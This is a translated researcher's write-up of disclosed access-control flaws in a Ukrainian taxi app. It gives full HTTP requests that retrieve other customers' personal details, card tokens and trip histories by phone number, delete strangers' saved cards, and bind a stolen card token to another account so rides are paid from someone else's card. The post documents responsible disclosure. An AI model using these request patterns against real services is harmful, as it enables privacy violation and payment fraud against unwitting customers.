How to ride a taxi at someone else’s expense - vulnerabilities on the example of one service

    After finding vulnerabilities in the mobile banking of a Ukrainian bank ( post ), I wanted to change direction a bit and switch from financial services to others.

    An advertising article about the updated mobile taxi application caught my eye, and I chose it as my experimental one.

    Here the tools are the same: PC, Fiddler, Android-smartphone - install the application and track its requests.

    I specifically did not consider requests and answers when registering or login (for example, I did not check the possibility of brute force password), but switched to the functions available after registration.

    Since I did not have a history of trips using this service, and I did not want to conduct a real trip for testing, I needed data from any of the other clients. I decided to ask friends for an account in the service. Among the acquaintances there were clients of this taxi, but they called him in the old fashioned way - with the help of a call.

    Then I started looking for phone numbers among information publicly available on the Internet - for example, on the official website and among reviews in social networks ( often dissatisfied customers, describing complaints, leave them in the comments for public viewing instead of sending the company to their personal PM) As a result, I found a couple of phones on one of the job search sites. I substituted one of them in subsequent requests and received information that should not have been accessible to anyone from outside.



    These were the following problems:

    1. We get the client id, his name, phone, e-mail and city (taxi works in several cities).

    When the application loads the profile, the following POST request is executed:

    https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: User
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 37
    func=loadMyInfo&phone=%2B380671234567

    Substituting someone else's phone number in the function loadMyInfo&phone, in response I received the client id, its full name, phone, e-mail and city:

    [{"id":14014,"varFirstName":"Сергей ","varLastName":"Николаевич","varSurName":"Иванов ","varTel":"+380671234567","varTel2":"","varEmail":"Sergey_ivan@some.mail","city":1,"cityName":"Киев"}]


    2) Information about payment cards of a client

    In the second request, I was able to get information about payment cards added by a client to my personal account:

    https://sometaxi/mobile3/ClientCard.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: User
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 58
    data={"Task":"GetClientCardsData","phone":"+380671234567"}

    Answer:

    {"data":[{"masked_card":"512345XXXXXX6789","rectoken":"ccaffe873a0e88caf49bc65bbef2390329","card_type":"MASTERCARD","default":true,"card_name":"Зарплатная"}]}

    Here were available: a truncated card number, some kind of token, type of card, whether the card is installed by default and its name.

    3) Getting information about client trips

    The third request - loadHistory - expectedly provided me with the largest and most important (as I thought then) amount of information:

    https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: User
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 38
    func=loadHistory&phone=%2B380671234567

    Part of the answer (as before, data changed) :

    {"id":454875,"From":"Шолом-Алейхема вул., 1","To":"Кириллівська вул., 13","When":"10-01-2019 15:55","WhenDate":1569942900,"Price":"160","Rate":0,"preorder":0,"status":1,"orderid":"11174445","additionalServices":"[]","classAvto":2,"callsignid":6426,"Car":"Сидоров Олександр Олександрович,Toyota Corolla,Белый,АА 3733 РА","city":1,"cityName":"Київ","distance":"0.00"}
    {"id":408880,"From":"Драйзера Теодора вул., 2","To":"Шолом-Алейхема ул., 1","When":"25-12-2018 03:44","WhenDate":1545709440,"Price":"79","Rate":0,"preorder":0,"status":1,"orderid":"10966503","additionalServices":"[]","classAvto":2,"callsignid":4545,"Car":"Петров Костянтин Петрович,Toyota Corolla,Белый,АА 0415 РС","city":null,"cityName":null,"distance":"0.00"}

    Here are available: Departure address, Destination address, Date and time of the trip, Cost, as well as Full name of the taxi driver, type, color and number of his car.

    Total: with a pair of requests, by phone number you can find out everything about the client of this service, including certain details of his personal life (for example, a trip to the New Year at 2 a.m. from one address to another).

    Surely there were other places in the application where other information could be obtained. But it was already found enough to inform the developers about this, which I did immediately to direct work addresses.

    We corresponded for a month, and later they paid me a fee.



    And then this post could end, but I decided to check again if all the errors were fixed.

    Yes, two of the three requests no longer gave me other people's information, but one was still valid.

    Payment cards are added to this application in the same way as to any other: first, on a special page, the client indicates the full number, expiration date and CVV cards. Then comes the verification by writing off 1 UAH. and customer confirmation of such an operation using 3-D Secure / LookUp. This is normal practice, the complete number and other payment details of customer cards were not in the requests.

    But since I saw that my added map is deleted by a request of the form , I decided to check: what will happen if I specify the rectoken of another client. 4) Removing someone else's card by tokendata={"Task":"DeleteClientCardsData","rectoken":"bc65bbef2390329ccaffe873a0e88caf49"}



    I execute the request with another token:

    https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 86
    data={"Task":"DeleteClientCardsData","rectoken":"ccaffe873a0e88caf49bc65bbef2390329"}

    And the alien card has gone!

    I additionally checked this with the same query # 2 - was it just a visual answer {"status":"Success"."err":""}, or was the card really deleted from the client.

    The map has indeed been deleted.

    Immediately I wrote a second letter, apologizing, but decided to experiment further by creating another account for myself: if the card can be deleted by the token - maybe it can be linked by the same token, and it can be tied to itself?

    5) Adding a foreign card by token to your account

    Yes, I will not torment - you could tie a foreign card to yourself. The main thing is to know rectoken (and you can get it thanks to the open problem # 2).

    In the POST request, it was possible to specify any data - any first 6 and last 4 digits of the card number, at least 500,000 **** 1111 - the card was visually associated with this data, and the token was from another client and was valid.

    POST https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    charset: utf-8
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
    Host: sometaxi
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Content-Length: 221
    data={"Task":"ClientCardData","default":false,"phone":"+380991234567","masked_card":"500000XXXXXX1111","card_name":"Test","card_type":"MASTERCARD","rectoken":"4f6d228517f2d45690670aba78013a0408"}

    What does this mean: due to the possibility of linking the token to my account, I could make a trip at someone else’s expense without knowing the full details of the card and without any additional verification - after all, the card has already been added by the client and was successfully verified by the payment service.

    Explanation about the ability to pay from someone else's card:
    To simplify entering payment details for payments, one-click payment based on tokens is used. At the first purchase, the client enters the payment data, with subsequent payments to the client, it will be enough to click the "pay" button.

    A token is a unique number that is assigned to a set of card parameters in the system. This token can be used for direct payment without entering CVV and without 3-D Secure authentication.

    Additionally
    Creating a token is a process of successful payment / blocking of funds on a client’s card with entering the full details of the client (card number, expiration date, CVV). You can create a token as follows:

    1. Accept payment (Purchase) - successful payment by the client with the introduction of full card details. The card is assigned a recToken and transmitted in the response.
    2. Verification of the card / receipt of a token (Verify) - successful verification of the card, blocking funds on the client's card. The card is assigned a recToken and transmitted in the response.


    Write-off by token - the operation of debiting / blocking funds on the card, without the participation of the client, by transferring the token from the merchant.

    An example explanation is taken from here .

    The developers asked to demonstrate the possibility of transferring the token from their account to mine and ordering a taxi - they needed to make sure that the token deduction would really happen. Of course, the order passed, the money was debited ( I didn’t get into the car ). Later they paid me some more money.



    As you can see from this and previous articles, sometimes PHPSESSID, Authorization, or SecurityToken is not enough.

    If you are a developer, please follow what you give to when you ask. If you are a tester, search and find, but be sure to inform the developers about it. Vulnerabilities are full of here and there, so please be a white hacker.

    Also popular now: